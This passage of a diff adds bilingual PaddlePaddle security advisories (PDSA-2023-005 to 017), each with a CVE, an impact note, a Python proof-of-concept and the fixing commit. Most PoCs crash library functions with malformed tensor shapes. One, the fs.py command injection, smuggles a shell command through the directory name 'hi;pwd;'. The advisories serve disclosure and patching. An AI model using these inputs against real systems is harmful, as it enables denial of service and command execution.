修复将包含在飞桨2.5.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,29 @@
|
||||
## PDSA-2023-005: Command injection in fs.py
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38673
|
||||
|
||||
### Impact
|
||||
|
||||
`os.system` in fs.py can lead to command injection. The PoC is as follows:
|
||||
|
||||
```python
|
||||
from paddle.distributed.fleet.utils import LocalFS
|
||||
|
||||
client = LocalFS()
|
||||
client.mkdirs("hi;pwd;")
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [2bfe358043096fdba9e2a4cf0f5740102b37fd8f](https://github.com/PaddlePaddle/Paddle/commit/2bfe358043096fdba9e2a4cf0f5740102b37fd8f).
|
||||
The fix will be included in PaddlePaddle 2.5.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Xiaochen Guo from Huazhong University of Science and Technology.
|
||||
@@ -0,0 +1,29 @@
|
||||
## PDSA-2023-005: Command injection in fs.py
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38673
|
||||
|
||||
### 影响
|
||||
|
||||
fs.py中的功能函数存在命令注入，可以执行任意命令，PoC代码如下：
|
||||
|
||||
```python
|
||||
from paddle.distributed.fleet.utils import LocalFS
|
||||
|
||||
client = LocalFS()
|
||||
client.mkdirs("hi;pwd;")
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [2bfe358043096fdba9e2a4cf0f5740102b37fd8f](https://github.com/PaddlePaddle/Paddle/commit/2bfe358043096fdba9e2a4cf0f5740102b37fd8f)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.5.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Xiaochen Guo from Huazhong University of Science and Technology 提交。
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-006: FPE in paddle.nanmedian
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38674
|
||||
|
||||
### Impact
|
||||
|
||||
When `x` dim calculates `stride` to 0, `paddle.nanmedian` triggers FPE by `numel / stride`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
|
||||
x = paddle.to_tensor(x)
|
||||
paddle.nanmedian(x)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1](https://github.com/PaddlePaddle/Paddle/pull/55644/commits/9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-006: FPE in paddle.nanmedian
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38674
|
||||
|
||||
### 影响
|
||||
|
||||
当由`x`的dim计算的`stride`为0时，`paddle.nanmedian`会由`numel / stride`触发除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
|
||||
x = paddle.to_tensor(x)
|
||||
paddle.nanmedian(x)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1](https://github.com/PaddlePaddle/Paddle/pull/55644/commits/9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-007: FPE in paddle.linalg.matrix_rank
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38675
|
||||
|
||||
### Impact
|
||||
|
||||
When `x` dim calculates `rows` or `cols` to 0, `paddle.linalg.matrix_rank` triggers FPE by `numel / (rows * cols)`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
|
||||
x = paddle.to_tensor(x)
|
||||
paddle.linalg.matrix_rank(x)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1](https://github.com/PaddlePaddle/Paddle/pull/55644/commits/9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-007: FPE in paddle.linalg.matrix_rank
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38675
|
||||
|
||||
### 影响
|
||||
|
||||
当由`x`的dim计算的`rows`或者`cols`为0时，`paddle.linalg.matrix_rank`会由`numel / (rows * cols)`触发除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
|
||||
x = paddle.to_tensor(x)
|
||||
paddle.linalg.matrix_rank(x)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1](https://github.com/PaddlePaddle/Paddle/pull/55644/commits/9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-008: Segfault in paddle.dot
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38676
|
||||
|
||||
### Impact
|
||||
|
||||
Segfault occurs when `x` and `y` shape is 0 in `paddle.dot`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0]).astype(np.float32))
|
||||
y = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0]).astype(np.float32))
|
||||
paddle.dot(x, y)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-008: Segfault in paddle.dot
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38676
|
||||
|
||||
### 影响
|
||||
|
||||
在`paddle.dot`中当`x`和`y`的shape为0时，将造成segfault，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0]).astype(np.float32))
|
||||
y = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0]).astype(np.float32))
|
||||
paddle.dot(x, y)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-009: FPE in paddle.linalg.eig
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38677
|
||||
|
||||
### Impact
|
||||
|
||||
When tensor dims contain 0, `paddle.linalg.eig` will trigger a float point exception. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [3, 6, 0, 2, 2]).astype(np.float32))
|
||||
|
||||
paddle.linalg.eig(x)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,31 @@
|
||||
## PDSA-2023-009: FPE in paddle.linalg.eig
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38677
|
||||
|
||||
### 影响
|
||||
|
||||
当张量包含维度值为0的情况，`paddle.linalg.eig`会触发除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [3, 6, 0, 2, 2]).astype(np.float32))
|
||||
|
||||
paddle.linalg.eig(x)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-010: Segfault in paddle.mode
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38678
|
||||
|
||||
### Impact
|
||||
|
||||
Invalid `axis` and `dim_size` may cause `paddle.mode` segfault . The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.mode(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64)),
|
||||
axis=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
|
||||
keepdim=True
|
||||
)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-010: Segfault in paddle.mode
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38678
|
||||
|
||||
### 影响
|
||||
|
||||
接收异常的`axis`和`dim_size`可能会造成`paddle.mode`发生segfault，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.mode(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64)),
|
||||
axis=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
|
||||
keepdim=True
|
||||
)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-011: Null pointer dereference in paddle.nextafter
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52302
|
||||
|
||||
### Impact
|
||||
|
||||
Null pointer dereference in `paddle.nextafter` when tensor dims are invalid . The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.nextafter(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 2]).astype(np.float32)),
|
||||
y=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0, 0, 0, 0]).astype(np.float32))
|
||||
)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-011: Null pointer dereference in paddle.nextafter
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52302
|
||||
|
||||
### 影响
|
||||
|
||||
输入张量的维度异常时，`paddle.nextafter`会引发空指针解引用，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.nextafter(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 2]).astype(np.float32)),
|
||||
y=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0, 0, 0, 0]).astype(np.float32))
|
||||
)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-012: Segfault in paddle.put_along_axis
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52303
|
||||
|
||||
### Impact
|
||||
|
||||
Segfault in `paddle.put_along_axis` when tensor dims are invalid . The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.put_along_axis(
|
||||
arr=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [1]).astype(np.int32)),
|
||||
indices=paddle.to_tensor(np.random.uniform(-9223372036854775808, 9223372036854775807, [1]).astype(np.int64)),
|
||||
values=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
|
||||
axis=0,
|
||||
reduce="assign"
|
||||
)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-012: Segfault in paddle.put_along_axis
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52303
|
||||
|
||||
### 影响
|
||||
|
||||
输入张量的维度异常时，`paddle.put_along_axis`会引发segfault，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.put_along_axis(
|
||||
arr=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [1]).astype(np.int32)),
|
||||
indices=paddle.to_tensor(np.random.uniform(-9223372036854775808, 9223372036854775807, [1]).astype(np.int64)),
|
||||
values=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
|
||||
axis=0,
|
||||
reduce="assign"
|
||||
)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-013: Stack overflow in paddle.searchsorted
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52304
|
||||
|
||||
### Impact
|
||||
|
||||
Invalid shapes cause stack buffer overflow in `paddle.searchsorted`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
sorted_sequence = paddle.to_tensor(np.array(0))
|
||||
values = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.float64))
|
||||
|
||||
paddle.searchsorted(sorted_sequence, values, out_int32=True, right=True)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-013: Stack overflow in paddle.searchsorted
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52304
|
||||
|
||||
### 影响
|
||||
|
||||
不正确的shapes会引发`paddle.searchsorted`栈溢出，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
sorted_sequence = paddle.to_tensor(np.array(0))
|
||||
values = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.float64))
|
||||
|
||||
paddle.searchsorted(sorted_sequence, values, out_int32=True, right=True)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-014: FPE in paddle.topk
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52305
|
||||
|
||||
### Impact
|
||||
|
||||
FPE in `paddle.topk` when `x` and `k` dims not correct. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [6, 2, 1, 4, 2, 0]).astype(np.float64))
|
||||
k = paddle.to_tensor(np.array(1).astype(np.int32))
|
||||
|
||||
paddle.topk(x, k, axis=2,largest=False, sorted=True)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-014: FPE in paddle.topk
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52305
|
||||
|
||||
### 影响
|
||||
|
||||
当`x`和`k`的dims不符合要求时，可能导致`paddle.topk`除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [6, 2, 1, 4, 2, 0]).astype(np.float64))
|
||||
k = paddle.to_tensor(np.array(1).astype(np.int32))
|
||||
|
||||
paddle.topk(x, k, axis=2,largest=False, sorted=True)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-015: FPE in paddle.lerp
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52306
|
||||
|
||||
### Impact
|
||||
|
||||
FPE in `paddle.lerp` when tensor shape is invalid. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64))
|
||||
y = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 0, 0, 2, 6]).astype(np.float64))
|
||||
weight = paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64))
|
||||
|
||||
paddle.lerp(x, y, weight)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-015: FPE in paddle.lerp
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52306
|
||||
|
||||
### 影响
|
||||
|
||||
不合法的张量shape可能导致`paddle.lerp`除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64))
|
||||
y = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 0, 0, 2, 6]).astype(np.float64))
|
||||
weight = paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64))
|
||||
|
||||
paddle.lerp(x, y, weight)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-016: Stack overflow in paddle.linalg.lu_unpack
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52307
|
||||
|
||||
### Impact
|
||||
|
||||
Invalid shapes cause stack buffer overflow in `paddle.linalg.lu_unpack`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
|
||||
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))
|
||||
|
||||
paddle.linalg.lu_unpack(x, y, True, True)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [10093636a10f29f73f13729b33570d8cafd58fb6](https://github.com/PaddlePaddle/Paddle/pull/56311/commits/10093636a10f29f73f13729b33570d8cafd58fb6).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-016: Stack overflow in paddle.linalg.lu_unpack
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52307
|
||||
|
||||
### 影响
|
||||
|
||||
不正确的shapes会引发`paddle.linalg.lu_unpack`栈溢出，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
|
||||
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))
|
||||
|
||||
paddle.linalg.lu_unpack(x, y, True, True)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [10093636a10f29f73f13729b33570d8cafd58fb6](https://github.com/PaddlePaddle/Paddle/pull/56311/commits/10093636a10f29f73f13729b33570d8cafd58fb6)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-017: FPE in paddle.amin
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52308
|
||||
|
||||
### Impact
|
||||
|
||||
FPE in `paddle.amin` when `x` has invalid dims. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.amin(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0, 6, 3]).astype(np.float32)),
|
||||
axis=-1,
|
||||
keepdim=True
|
||||
)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
